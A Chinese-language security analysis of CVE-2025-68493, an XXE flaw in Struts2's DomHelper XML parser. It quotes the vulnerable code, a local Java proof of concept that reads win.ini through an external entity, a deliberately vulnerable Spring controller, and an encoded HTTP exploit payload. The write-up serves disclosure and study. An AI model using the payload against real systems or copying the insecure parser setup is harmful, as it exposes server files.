DomHelper是Struts2框架内部解析XML配置文件的工具类,主要用于处理struts.xml及相关扩展配置。由于该方法设计时假设解析对象为“内部可信数据”,因此在XML解析器的安全配置上并未进行充分的加固。
Struts2 DomHelper不安全的工厂配置(CVE-2025-68493)
漏洞描述
根据官方的安全通告,该漏洞存在于com.opensymphony.xwork2.util.DomHelper.parse方法。该方法主要用于处理Struts2内部的配置文件,由于不接受外部参数传递,就没有进行更多的安全加固。
关键代码
使用了SAXParserFactory解析器,而且没有关闭DTD和外部实体功能,导致了XXE漏洞。
public static Document parse(InputSource inputSource, Map<String, String> dtdMappings) {
SAXParserFactory factory = null;
String parserProp = System.getProperty("xwork.saxParserFactory");
if (parserProp != null) {
try {
ObjectFactory objectFactory = ActionContext.getContext().getContainer().getInstance(ObjectFactory.class);
Class clazz = objectFactory.getClassInstance(parserProp);
factory = (SAXParserFactory) clazz.newInstance();
} catch (Exception e) {
LOG.error("Unable to load saxParserFactory set by system property 'xwork.saxParserFactory': {}", parserProp, e);
}
}
if (factory == null) {
factory = SAXParserFactory.newInstance();//实现Xerces
}
factory.setValidating((dtdMappings != null));//启用DTD校验,Xerces会解析DOCTYPE,并尝试解析实体
factory.setNamespaceAware(true);
SAXParser parser;
try {
parser = factory.newSAXParser();//创建解析器
} catch (Exception ex) {
throw new StrutsException("Unable to create SAX parser", ex);
}
DOMBuilder builder = new DOMBuilder();
// Enhance the sax stream with location information
ContentHandler locationHandler = new LocationAttributes.Pipe(builder);
try {
parser.parse(inputSource, new StartHandler(locationHandler, dtdMappings));//解析传递的参数
} catch (Exception ex) {
throw new StrutsException(ex);
}
return builder.getDocument();
}
根据dtdMappings是否为空决定是否启用DTD校验。
当DTD校验被启用时,XML解析器会解析XML中的DOCTYPE声明,加载定义的实体。
factory.setValidating((dtdMappings != null));
影响范围
DomHelper是Struts2框架中的XML处理工具类,只有在第三方代码调用DomHelper.parse() 处理用户传递的可控数据才会受到影响。
漏洞复现
本地验证
创建maven项目,pom引用struts6.0.0
<dependencies>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.0.0</version>
</dependency>
</dependencies>
main
package org.example;
import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
import java.io.StringReader;
public class CVE_2025_68493 {
public static void main(String[] args) throws Exception {
//file:C:/Windows/win.ini
String evilXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
"<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:C:/Windows/win.ini\"> ]>" +
"<root>&xxe;</root>";
// call
InputSource is = new InputSource(new StringReader(evilXml));
// Sink
Document doc = DomHelper.parse(is);
//output
String result = doc.getDocumentElement().getTextContent();
System.out.println(result);
}
}
run后输出了win.ini的内容,证明外部调用会触发漏洞。
远程验证
pom增加spring boot
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.0</version>
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.0.0</version>
</dependency>
</dependencies>
main
package org.example;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
VulnerableController
package org.example;
import com.opensymphony.xwork2.util.DomHelper;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;
import org.w3c.dom.Document;
import java.io.StringReader;
@RestController
public class VulnerableController {
@PostMapping("/exploit")
public String exploit(@RequestParam("xml") String xmlData) {
try {
//模拟调用Struts 2工具类
InputSource is = new InputSource(new StringReader(xmlData));
//Sink
Document doc = DomHelper.parse(is);
String content = doc.getDocumentElement().getTextContent();
return "解析成功!文件内容如下:\n" + content;
} catch (Exception e) {
return "解析出错: " + e.getMessage();
}
}
}
payload
POST /exploit HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
xml=%3C%3Fxml+version%3D%271.0%27+encoding%3D%27UTF-8%27%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%27file%3AC:/Windows/win.ini%27%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E